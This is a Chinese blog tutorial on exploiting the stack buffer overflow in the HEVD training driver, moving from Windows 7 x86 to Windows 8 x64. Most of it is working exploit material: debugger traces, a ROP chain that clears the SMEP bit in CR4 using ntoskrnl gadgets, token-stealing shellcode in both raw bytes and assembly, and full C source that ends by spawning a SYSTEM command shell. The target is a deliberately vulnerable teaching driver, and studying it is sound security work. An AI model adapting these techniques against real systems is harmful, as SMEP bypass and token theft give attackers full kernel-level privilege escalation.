Windows内核栈溢出从win7 x86 到win8 x64

阅读量    77884 |   稿费 400

分享到: QQ空间 新浪微博 微信 QQ facebook twitter

 

一、环境准备

Win 10 64位 主机  +  win 7  32位虚拟机

Win 10 64位 主机  +  win 8  64位虚拟机

Windbg:调试器

VirtualKD-3.0:双击调试工具

InstDrv:驱动安装,运行工具

HEVD:一个Windows内核漏洞训练项目,里面几乎涵盖了内核可能存在的所有漏洞类型,非常适合我们熟悉理解Windows内核漏洞的原理,利用技巧等等

 

二、win7 x86 环境

win7 x86下比较简单,这里简单过一下

先看下代码:

#define BUFFER_SIZE 512

NTSTATUS TriggerStackOverflow(IN PVOID UserBuffer, IN SIZE_T Size) {

    NTSTATUS Status = STATUS_SUCCESS;

    ULONG KernelBuffer[BUFFER_SIZE] = {0};



    PAGED_CODE();



    __try {

        // Verify if the buffer resides in user mode

        ProbeForRead(UserBuffer, sizeof(KernelBuffer), (ULONG)__alignof(KernelBuffer));



        DbgPrint("[+] UserBuffer: 0x%p\n", UserBuffer);

      ……

#ifdef SECURE

        RtlCopyMemory((PVOID)KernelBuffer, UserBuffer, sizeof(KernelBuffer));

#else

        DbgPrint("[+] Triggering Stack Overflow\n");

        // Vulnerability Note: This is a vanilla Stack based Overflow vulnerability

        RtlCopyMemory((PVOID)KernelBuffer, UserBuffer, Size);

#endif

    }

    __except (EXCEPTION_EXECUTE_HANDLER) {

        Status = GetExceptionCode();

        DbgPrint("[-] Exception Code: 0x%X\n", Status);

    }



    return Status;

}

 

代码很简单,问题就出在这句上

RtlCopyMemory((PVOID)KernelBuffer, UserBuffer, Size);

KernelBuffer是函数内的变量,内容存放在栈上, 大小固定为512字节, UserBuffer 和Size是用户从ring3层传入得值,大小可人为控制,当传入得 UserBuffer 和Size过大时,就会超过KernelBuffer的空间,覆盖到函数返回地址。

实际跟踪调试可知,从KernelBuffer起始开始覆盖数据, 偏移2080自节后开始覆盖 返回地址。

#define JUNK_SIZE       2080

#define TOAL_SIZE       2080 + 4

     char payload[TOAL_SIZE] = { 0 };



     char junk_pay[JUNK_SIZE] = { 'A' };

     char ret_addr[5] = { 0 };



     memset(junk_pay, 'A', JUNK_SIZE);

     memset(ret_addr, 'B', 5);



     memcpy(payload, junk_pay, JUNK_SIZE);

     memcpy(payload + JUNK_SIZE, ret_addr, 4);

     //*((int*)((char*)payload + JUNK_SIZE)) = (int)pShellcodeBuf;



     RtlCopyMemory(uBuffer, payload, TOAL_SIZE);





     DWORD bytesRet;

     BOOL bof = DeviceIoControl(device,          /* handler for open driver */

         STACK_IOCTL,     /* IOCTL for the stack overflow */

         uBuffer,         /* our user buffer with shellcode/retAddr */

         TOAL_SIZE,

         NULL,            /* no buffer for the driver to write back to */

         0,               /* above buffer of size 0 */

         &bytesRet,       /* dump variable for byte returned */

         NULL);           /* ignore overlap */

 

测试程序,覆盖2080个A, 后面紧接着用B覆盖返回地址。

Windbg下断点 bp HEVD!TriggerStackOverflow

运行程序,调试观察。程序停在TriggerStackOverflow函数入口处, 返回地址为96b3e980

P 运行程序,当执行RtlCopyMemory((PVOID)KernelBuffer, UserBuffer, Size);后,函数的返回地址被覆盖, 42424242 也就是BBBB。

剩下的就简单了,我们只需要将BBBB替换成shellcode的地址就行了。部分代码如下:

    // Set the DeleteProcedure to the address of our payload

    int shellcode_len = sizeof(shellcode);

    char *pShellcodeBuf = (char*)VirtualAlloc(NULL, shellcode_len, MEM_RESERVE| MEM_COMMIT, PAGE_EXECUTE_READWRITE);

    RtlMoveMemory(pShellcodeBuf, shellcode, shellcode_len);



    printf("ShellcodeBuf :%x\n", pShellcodeBuf);



    char payload[TOAL_SIZE] = { 0 };



    char junk_pay[JUNK_SIZE] = { 'A' };

    char ret_addr[5] = { 0 };



    memset(junk_pay, 'A', JUNK_SIZE);

    memset(ret_addr, 'B', 5);



    memcpy(payload, junk_pay, JUNK_SIZE);

    *((int*)((char*)payload + JUNK_SIZE)) = (int)pShellcodeBuf;

    RtlCopyMemory(uBuffer, payload, TOAL_SIZE);

 

运行结果如下:

 

三、Win8 x64环境

在Windows 8及更高版本上已经部署了一种新的缓解措施,可以阻止使用这种方法exploit。管理模式执行保护(Superior Mode Execution Prevention)基本上是ring0版的DEP。它防止CPU以比当前更低的权限级别(或更高的ring级别)执行指令。换句话说,当在内核模式中运行时,处理器将不会执行映射到用户空间内存中的指令。

1、遇到的坑

在介绍SMEP绕过之前,我先讲下我遇到的坑。第一要确定自己的cpu是否支持SMEP。

一开始在win8.x x64上测试SMEP时,我没有使用绕过技术,但是shellcode一直能正常执行,让我很是纳闷,作为小白不知如何是好,后来经过多方查找资料,才知道时cpu的问题(谁让咱穷呢)。

换了台机器后,再测试,发现还是没有smep保护,不知道啥原因,重新装了win10x64的虚拟机,发现支持smep了,猜测可能自己下的win8的系统有问题,于是又下了个更新的win8,发现支持smep了,终于可以开心的研究技术了。

如何判断我们的系统是否开启smep呢。 Windows提供了一款工具coreinfo.exe

不支持smep(是-):

支持smep(是*):

2、smep技术介绍

smep是一种内核保护机制,由cr4寄存器的smep位控制,该位为1时,保护开启,该位为0时保护关闭。

既然是寄存器控制保护的开启与关闭,是不是很像ring3层的dep,我们就可以通过控制cr4寄存器的值来关闭该保护机制。

我们实际跟踪下看下smep是什么情况。在我们构造shellcode覆盖堆栈后,执行到RtlCopyMemory((PVOID)KernelBuffer, UserBuffer, Size)后,在TriggerStackOverflow()返回前,我们看下cr4的值。

kd> r cr4

cr4=00000000001506f8

第20位smep标识为1, 保护机制开启,如果在继续执行,系统就会蓝屏。

3、Smep绕过

我们如何绕过,类似dep,我们在执行shellcode之前,先修改cr4将其smep位写0。这就需要rop技术。

首先我们需要在内核中找到mov cr4, xxx; ret之类的的代码。

我们将ntoskrnl.exe用ida打开。搜索 mov cr4

结果为mov cr4,rcx; retn。

我们还需要一条控制rcx值的语句(pop rcx)

同样搜索pop rcx

这两条语句在ntoskrnl.exe中的偏移分别为8655A,7db64

Windbg中查看对应位置,正是我们需要的。

kd> dd nt

fffff801`7621c000  00905a4d 00000003 00000004 0000ffff

fffff801`7621c010  000000b8 00000000 00000040 00000000

gadgets1:

kd> u nt+7db64

nt!KeRemoveQueueDpcEx+0xac:

fffff801`76299b64 59              pop     rcx

fffff801`76299b65 c3              ret

gadgets2:

kd> u nt+8655A

nt!KiFlushCurrentTbWorker+0x12:

fffff801`762a255a 0f22e1          mov     cr4,rcx

fffff801`762a255d c3              ret

之前win7的时候,我们返回地址直接覆盖的是shellcode地址, 到了win8 x64这里我们将其覆盖为gadgets1的地址。

构造栈数据如下:

我们简单跟踪下:

在我们执行完RtlCopyMemory((PVOID)KernelBuffer, UserBuffer, Size)后,

栈上的返回地址已经被覆盖,值为fffff802cb2f6b64

Bp fffff802cb2f6b64下断点

此时cr4的值已经改变

kd> r cr4

cr4=00000000000406f8

 

再单步执行就进入我们的shellcode中。

4、有关shellcode构造调试:

我首先网上随便找了个shellcode

mov rax, gs:[188h]    ;Kprcb.Kpthread

mov rax, [rax+220h]    ;process

mov    rcx, rax    ; keep copy value

mov    rdx, 4        ; system PID

findSystemPid:

    mov    rax, [rax+2e8h]    ; ActiveProcessLinks : _LIST_ENTRY

    sub    rax, 2e8h

    cmp    [rax+2e0h], rdx

    jnz findSystemPid

    ; 替换Token

    mov rdx, [rax+348h]    ; get system token

    mov [rcx+348h], rdx    ; copy

ret

 

当然我在实际用的时候,直接蓝屏了。

下面我们就通过调试将这个shellcode,改造成可用的。

通过跟踪你会知道,这shellcode之所以会蓝屏,是堆栈不平衡问题,由于函数没有正常返回,导致shellcode执行完,直接飞了。

我们回归程序,shellcode所在的函数上层函数是StackOverflowIoctlHandler()

函数在返回前,执行了add rsp, 28h。

所以我们要堆栈平衡,也需要rsp增加,加多少呢,总共要加28h

但是我们已经先执行了rop链, pop rcx, ret, ret 已经使rsp增加了3*8=24=18h

所以我们还需要增加28h-18h=10h

我们修改下shellcode

mov rax, gs:[188h]    ;Kprcb.Kpthread

mov rax, [rax+220h]    ;process

mov    rcx, rax    ; keep copy value

mov    rdx, 4        ; system PID

findSystemPid:

    mov    rax, [rax+2e8h]    ; ActiveProcessLinks : _LIST_ENTRY

    sub    rax, 2e8h

    cmp    [rax+2e0h], rdx

    jnz findSystemPid

    ; 替换Token

    mov rdx, [rax+348h]    ; get system token

    mov [rcx+348h], rdx    ; copy

    ;根据实际环境调整

    add     rsp,10h

ret

 

我们再次运行,发现shellcode可以正常执行完毕,但是系统还是蓝屏了。What???

再次跟踪,寻找原因,定位到异常原因

rbx的值指向irp,此时其值为

kd> r rbx

rbx=00000000000406f8

 

所以执行到这里会蓝屏,我们需要在shellcode中恢复irp的值,保证后续能够正常执行。

下断点

bp HEVD!IrpDeviceIoCtlHandler

bp HEVD!TriggerStackOverflow

 

irp从函数IrpDeviceIoCtlHandler传入,程序进入该函数时,查看堆栈

kd> dd rsp

ffffd001`7e679778  cb663c0f fffff802 00000000 00000000

ffffd001`7e679788  7e679a80 ffffd001 f0840ee0 ffffe000

 

f0840ee0 ffffe000值对应的就是irp的值,地址为ffffd001`7e679790

程序进入shellcode时,我们在看下rsp的值为ffffd001`7e679738

kd> dd rsp

ffffd001`7e679738  7e679a01 ffffd001 00222003 00000000

ffffd001`7e679748  19827335 fffff800 198287a0 fffff800



ffffd001`7e679790- ffffd001`7e679738=58h

 

即irp在rsp上方偏移58h处(也没有被覆盖)

由于irp的存在rbx中,所以需要执行mov rbx, [rsp+58h]来恢复irp。

最后shellcode为

;for  win8  x64

.code

shellCode proc

; shellcode

mov rax, gs:[188h]    ;Kprcb.Kpthread

mov rax, [rax+220h]    ;process

mov    rcx, rax    ; keep copy value

mov    rdx, 4        ; system PID



findSystemPid:

    mov    rax, [rax+2e8h]    ; ActiveProcessLinks : _LIST_ENTRY

    sub    rax, 2e8h

    cmp    [rax+2e0h], rdx

    jnz findSystemPid



    ; 替换Token

    mov rdx, [rax+348h]    ; get system token

    mov [rcx+348h], rdx    ; copy

    ;根据实际环境调整

   mov rbx, [rsp+58h]    ;restore IRP

   add     rsp,10h

    ;xor rax, rax  ;NTSTATUS Status = STATUS_SUCCESS

    ret

shellCode endp

end

 

(构造shellcode时,要根据具体情况调整代码)

结果如下:

附代码:(shellcode在shellCode.asm文件中):

 

#include <windows.h>

#include <winioctl.h>

#include <stdio.h>

#include <stdint.h>

#include "shellCode.h"



/*

HEVD Windows Driver Exploit for the Stack Buffer Overflow

*/

#ifdef _WIN64

    #define RETLEN 8

    #define JUNK_SIZE       2056

    #define TOAL_SIZE       JUNK_SIZE + 8*4

    //gadgets1(pop rcx  ret) + 406f8 + gadgets2(mov cr4,crx  ret) + shellcodeAddr

#else

    #define RETLEN 4

    #define JUNK_SIZE       2080

    #define TOAL_SIZE       2080 + 8

#endif



#define SHELLCODE_LEN   61

#define STACK_IOCTL     0x222003

#define DRIVER_PATH     "\\\\.\\HackSysExtremeVulnerableDriver"



//对应的函数名声明在shellCode文件中;

//win x64 不支持嵌入式汇编,需要单独存放;

extern "C" void shellCode();



typedef enum _SYSTEM_INFORMATION_CLASS {

    SystemBasicInformation = 0,

    SystemPerformanceInformation = 2,

    SystemTimeOfDayInformation = 3,

    SystemProcessInformation = 5,

    SystemProcessorPerformanceInformation = 8,

    SystemModuleInformation = 11,

    SystemInterruptInformation = 23,

    SystemExceptionInformation = 33,

    SystemRegistryQuotaInformation = 37,

    SystemLookasideInformation = 45

} SYSTEM_INFORMATION_CLASS;



typedef struct _SYSTEM_MODULE_INFORMATION_ENTRY {

    HANDLE Section;

    PVOID MappedBase;

    PVOID ImageBase;

    ULONG ImageSize;

    ULONG Flags;

    USHORT LoadOrderIndex;

    USHORT InitOrderIndex;

    USHORT LoadCount;

    USHORT OffsetToFileName;

    UCHAR FullPathName[256];

} SYSTEM_MODULE_INFORMATION_ENTRY, *PSYSTEM_MODULE_INFORMATION_ENTRY;



typedef struct _SYSTEM_MODULE_INFORMATION {

    ULONG NumberOfModules;

    SYSTEM_MODULE_INFORMATION_ENTRY Module[1];

} SYSTEM_MODULE_INFORMATION, *PSYSTEM_MODULE_INFORMATION;



typedef struct _ROP {

    PUCHAR PopRcxRet;

    PUCHAR Cr4RegValue;

    PUCHAR MovCr4EcxRet;

} ROP, *PROP;



typedef NTSTATUS(NTAPI *_NtQuerySystemInformation)(

    SYSTEM_INFORMATION_CLASS SystemInformationClass,

    PVOID SystemInformation,

    ULONG SystemInformationLength,

    PULONG ReturnLength

    );



__int64* GetKernelBase()

{

    DWORD len;

    PSYSTEM_MODULE_INFORMATION ModuleInfo;

    __int64 *kernelBase = NULL;



    _NtQuerySystemInformation NtQuerySystemInformation = (_NtQuerySystemInformation)

        GetProcAddress(GetModuleHandle("ntdll.dll"), "NtQuerySystemInformation");

    if (NtQuerySystemInformation == NULL) {

        return NULL;

    }



    NtQuerySystemInformation(SystemModuleInformation, NULL, 0, &len);

    ModuleInfo = (PSYSTEM_MODULE_INFORMATION)VirtualAlloc(NULL, len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);

    if (!ModuleInfo)

    {

        return NULL;

    }



    NtQuerySystemInformation(SystemModuleInformation, ModuleInfo, len, &len);



    kernelBase = (__int64*)ModuleInfo->Module[0].ImageBase;

    VirtualFree(ModuleInfo, 0, MEM_RELEASE);



    return kernelBase;

}



void main() {



    LPVOID uBuffer = VirtualAlloc(NULL,

        TOAL_SIZE,

        MEM_COMMIT | MEM_RESERVE,

        PAGE_EXECUTE_READWRITE);

    if (!uBuffer) {

        printf("Error allocating the user buffer\n");

        exit(1);

    }



    char payload[TOAL_SIZE] = { 0 };

    char junk_pay[JUNK_SIZE] = { 'A' };

    memset(junk_pay, 'A', JUNK_SIZE);

    memcpy(payload, junk_pay, JUNK_SIZE);



#ifdef _WIN64

    __int64 pKernelAddr = (__int64)GetKernelBase();

    printf("KernelAddr = %I64x\n", pKernelAddr);



    *((__int64*)((char*)payload + JUNK_SIZE)) = (__int64)(pKernelAddr + 0x7db64);   //pop rcx   ret

    *((__int64*)((char*)payload + JUNK_SIZE + 8)) = 0x406f8;

    *((__int64*)((char*)payload + JUNK_SIZE + 8 + 8)) = (__int64)(pKernelAddr + 0x8655A);    //mov cr4 rcx , ret

    *((__int64*)((char*)payload + JUNK_SIZE + 8 + 8 +8)) = (__int64)shellCode;

#else



    char shellcode[] =

        /* --- Setup --- */

        "\x60"                        // pushad

        "\x64\xA1\x24\x01\x00\x00"    // mov eax, fs:[KTHREAD_OFFSET]

        "\x8B\x40\x50"                // mov eax, [eax + EPROCESS_OFFSET]

        "\x89\xC1"                    // mov ecx, eax (Current _EPROCESS structure)

        "\x8B\x98\xF8\x00\x00\x00"    // mov ebx, [eax + TOKEN_OFFSET]

                                      /* --- Copy System token */

        "\xBA\x04\x00\x00\x00"        // mov edx, 4 (SYSTEM PID)

        "\x8B\x80\xB8\x00\x00\x00"    // mov eax, [eax + FLINK_OFFSET]

        "\x2D\xB8\x00\x00\x00"        // sub eax, FLINK_OFFSET

        "\x39\x90\xB4\x00\x00\x00"    // cmp [eax + PID_OFFSET], edx

        "\x75\xED"                    // jnz

        "\x8B\x90\xF8\x00\x00\x00"    // mov edx, [eax + TOKEN_OFFSET]

        "\x89\x91\xF8\x00\x00\x00"    // mov [ecx + TOKEN_OFFSET], edx

                                      /* --- Cleanup --- */

        "\x61"                        // popad

        "\x31\xC0"                    // NTSTATUS -> STATUS_SUCCESS

        "\x5D"                        // pop ebp

        "\xC2\x08\x00";               // ret 8



    // Set the DeleteProcedure to the address of our payload

    int shellcode_len = sizeof(shellcode);

    __int64 *pShellcodeBuf = (__int64*)VirtualAlloc(NULL, shellcode_len, MEM_RESERVE| MEM_COMMIT, PAGE_EXECUTE_READWRITE);

    RtlMoveMemory(pShellcodeBuf, shellcode, shellcode_len);

    printf("ShellcodeBuf = %I64x\n", pShellcodeBuf);

   

    *((int*)((char*)payload + JUNK_SIZE)) = (int)pShellcodeBuf;

#endif



    RtlCopyMemory(uBuffer, payload, TOAL_SIZE);



    HANDLE device = CreateFileA(DRIVER_PATH,

        GENERIC_READ | GENERIC_WRITE,

        0,

        NULL,

        OPEN_EXISTING,

        FILE_ATTRIBUTE_NORMAL | FILE_FLAG_OVERLAPPED,

        NULL);

    if (device == INVALID_HANDLE_VALUE) {

        printf("[!] Error opening the driver\n");

        exit(1);

    }



    DWORD bytesRet;

    BOOL bof = DeviceIoControl(device,          /* handler for open driver */

        STACK_IOCTL,     /* IOCTL for the stack overflow */

        uBuffer,         /* our user buffer with shellcode/retAddr */

        TOAL_SIZE,

        NULL,            /* no buffer for the driver to write back to */

        0,               /* above buffer of size 0 */

        //&bytesRet,       /* dump variable for byte returned */

        NULL,

        NULL);           /* ignore overlap */



                         /* check if the device IO sent fine! */

    if (!bof) {

        printf("[!] Error with DeviceIoControl: %d\n", GetLastError());

        //exit(1);

    }

    else {

        printf("[*] Success!! Enjoy your shell!\n");

    }



    /* pop a shell! */

    system("cmd.exe");

}
分享到: QQ空间 新浪微博 微信 QQ facebook twitter
|推荐阅读
|发表评论
|评论列表
加载更多